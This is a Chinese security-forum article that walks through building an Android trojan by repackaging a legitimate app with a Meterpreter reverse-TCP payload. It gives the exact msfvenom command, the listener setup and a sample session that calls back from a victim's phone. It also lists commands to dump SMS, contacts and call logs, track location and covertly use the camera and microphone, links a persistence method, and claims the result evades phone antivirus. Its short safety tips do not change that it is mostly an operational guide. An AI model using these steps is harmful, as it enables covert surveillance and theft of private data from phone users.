查看原文
其他

从“短信劫持马”的制作来谈App安全

毅种循环 看雪学院 2021-03-07

本文为看雪论坛优秀文章

看雪论坛作者ID:毅种循环



2018年写的一篇文章了,整理文档的时候发现了这篇,当初的很多情况有了新的方式,但是个人觉得有些地方还是有可察之处,现发在看雪论坛,请各位大佬轻喷。



从“短信劫持马”来谈APP安全



 
这种短信劫持木马的概念和新闻我想大家都应该接触过了,就不怎么说概念了,具体的可以搜一搜新闻,一抓一大把。


复现短信劫持木马的制作



下面我用几种套件来完成短信劫持木马的还原,之前我在本地已经做过试验,所以下面的内容都均摘选自我的笔记。其实用 MSF 也可以做到,但是活的不长久,而且不过杀毒,体积偏小,很明显。

所以我们用一种 “ 寄生 ” 的方式来制作,后面会讲。


生成apk



目前有两种方法可以自动化的往App添加 payload,无论哪种生成,其实实现的目的都是一样的,只是 1 方法的作者把第二种方法集成到一键方式,但是本人自己使用过第一种的方式进行,因为各插件版本的原因没有成功,给原作者提供样本之后,原作者叫我自己解决。

遂推荐使用第二种方法:
1. backdoor-apk。
http://www.greycel.com/2017/04/28/Injecting-Backdoor-in-Android-Application/

2. mterpreter 中自带的 msfvenom。

直接在kali的Shell下执行:

msfvenom --platform android -x facebook_lite.apk -p android/meterpreter/reverse_tcp LHOST=192.168.1.114 LPORT=3389 -o facebook_lite_after.apk


执行完上面的命令,meterpreter 一般会对 apk 进行: 
1. 解包。
2. 插入权限。
3. 插入 payload 代码。
4. 重新打包生成 apk。
5. 重新签名并保存的操作。

结果成功:会生成一个 facebook_ lite_after.apk 的应用

结果失败:失败一般会发生在 2,3,4 处,因为有一些 apk 加固或者混淆了,解包之后的代码已经变了样,插入会出现错误,打包也会出现错误。最终导致 apk 不完整,无法生成 apk。
 
命令解读:
  • platform 指定平台,此处为Android。

  • x 指定使用的样板,可以理解为你要寄生在哪个 app 下面,

  • 此处是寄生在 facebook_lite.apk。

  • p 指定使用的 payload,此处是 android/meterpreter/
    reverse_tcp,后面的 LHOST 指定 payload 生效后要反弹的主机 ip,一般为 kali 或者安装了 meterpreter 的 linux 主机,此处 kali 的 ip 为192.168.1.114,LPORT 为端口号。

  • o 指定生成的文件。

 
注意:
msfpayload 和 msfencode 已经在新版本移除,以后只要使用 msfvenom 就行了,msfvenom 的大概使用说明如下:

MsfVenom - a Metasploit standalone payload generator.
    Also a replacement for msfpayload and msfencode.
    Usage: /opt/metasploit/apps/pro/msf3/msfvenom [options] <var=val>
    Options:
        -p, --payload <payload>    Payload to use. Specify a '-' or stdin to use custom payloads
            --payload-options List the payload's standard options
        -l, --list [type] List a module type. Options are: payloads, encoders, nops, all
        -n, --nopsled <length>     Prepend a nopsled of [length] size on to the payload
        -f, --format <format>     Output format (use --help-formats for a list)
            --help-formats List available formats
        -e, --encoder <encoder>    The encoder to use
        -a, --arch <arch>       The architecture to use
            --platform <platform>   The platform of the payload
        -s, --space <length>     The maximum size of the resulting payload
            --encoder-space <length>     The maximum size of the encoded payload (defaults to the -s value)
        -b, --bad-chars <list>       The list of characters to avoid example: '\x00\xff'
        -i, --iterations <count>      The number of times to encode the payload
        -c, --add-code <path>       Specify an additional win32 shellcode file to include
        -x, --template <path>       Specify a custom executable file to use as a template
        -k, --keep Preserve the template behavior and inject the payload as a new thread
        -o, --out <path>       Save the payload
        -v, --var-name <name>       Specify a custom variable name to use for certain output formats
            --smallest Generate the smallest possible payload
        -h, --help Show this message
 
# 监听


1. kali 的 shell 下执行:msfconsole
2. 进入 meterpreter 后选择 exploit,执行:use exploit/multi/handler 
3. 选择 payload,执行:set payload android/meterpreter/reverse_tcp
4. 设置 payload 的 option,此处先设置 LHOST,执行 : set LHOST 192.168.1.114
5. 设置 LPORT,执行:set LPORT 3389
6. 开启 exploit 任务,-j 是 job,执行:exploit -j 

如下:

msf > use exploit/multi/handler
msf exploit(handler) > set payload android/meterpreter/reverse_tcp
PAYLOAD
=> windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.114
LHOST
=> 192.168.1.114
msf exploit(handler) > set LPORT 3389
LPORT
=> 3389
msf exploit(handler) > exploit -j
 
[*] Started reverse handler on 192.168.1.114:3389
[*] Starting the payload handler...


 
运行后,当用户安装了前面第一步生成 apk,打开软件后,就会在 meterpreter 看到用户上线,这里大概说一下大概操作。
 
大概会看到这样的字眼:

[*] Meterpreter session 1 opened (192.168.1.114:3389 -> 119.137.2.209:12398) at 2018-05-06 19:26:13 +0800


解读一下大概的意思是有 1 个会话产生了,session 的ID是 1。
 
注意:

192.168.1.114:3389 -> 119.137.2.209:12398,这里后面的 119.137.2.209 这个是安装了 apk 的安卓手机的IP。
 
需要连接相应的 session,则只需敲 sessions -i 1 就可以连接 id 为 1 的 session。

连接上之后,就可以进行相应的功能操作。


下面整理常用的命令



  • dump_calllog 通话记录。
  • dump_contacts 通讯录。
  • dump_sms 短信。
  • wlan_geolocate wifi 获取 gps 位置。
  • geolocate 经纬度。
  • sysinfo 系统信息。
  • ipconfig / ifconfig。
  • webcam_snap -i 1 或 2。



不知不觉拍照



1:后置摄像头。
2:前置摄像头 。
 
record_mic 录制麦克风,shell 安卓的 adb shell 操作。
 
更多命令操作,敲 help 默认查看:
 
 
短信获取:

 
通讯录获取:

 
通话记录获取:



持久化



msf 和其他的应用绑定后,目前可知能进行持久的方法,参考方法如下:
https://www.yeahhub.com/persistent-backdoor-android-using-kali-linux-shell-script/
 
主要是上传一个在 sdcard / Download 中写入一个 sh 脚本,然后每隔多久就去启动相应包名的App,但是需要App透明化或者需要自定义服务,让 payload 在应用后台服务中进行。
 
思考:
用 MSF 去做木马,原来的文件和本身寄生后的文件,只有几 kb 的差距,而且原 App功能一切正常,以上功能都只需要安装打开就能做到。
 
手机是不会报毒的,我测试腾讯杀毒,测试了魅族,测试了小米,测试了 vivo,均可通过安装查询的那个检查引擎。
 
 
 
哈勃的文件分析系统:
 https://habo.qq.com/file/showdetail?pk=ADIGYV1lB2EIPls9
 
这个链接是哈勃的文件分析系统,被鉴定为无危害,只是申请了权限。
 
 



黑产场景还原



当初测试的场景就是上面这样去寄生一共本身不带壳的程序,然后通过垃圾短信群发这种。
 
 
另外需要注意App的来源比如:
 
1. 能在不连接公用网络的情况下就不要连接公用 WiFi。

2. 不要随意下载从网站上的App,有些App带了点什么你是完全不知道的,尽管提供App下载的站点是某某中心,尽量从官方和应用商店下载。

3. 有必要请加装手机杀毒软件。
 
以上观点个人认为还是比较贴近生活的。





- End -






看雪ID:毅种循环

https://bbs.pediy.com/user-784203.htm 


*本文由看雪论坛  毅种循环  原创,转载请注明来自看雪社区




推荐文章++++

Kali下的Osmocom-BB GSM-SMS 嗅探

格式化字符串漏洞

安卓源码+内核修改编译(修改内核调试标志绕过反调试)

GlobeImposter3.0 勒索分析

恶意样本检测——Mathematics Malware Detected Tools






进阶安全圈,不得不读的一本书






公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com




“阅读原文”一起来充电吧!

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存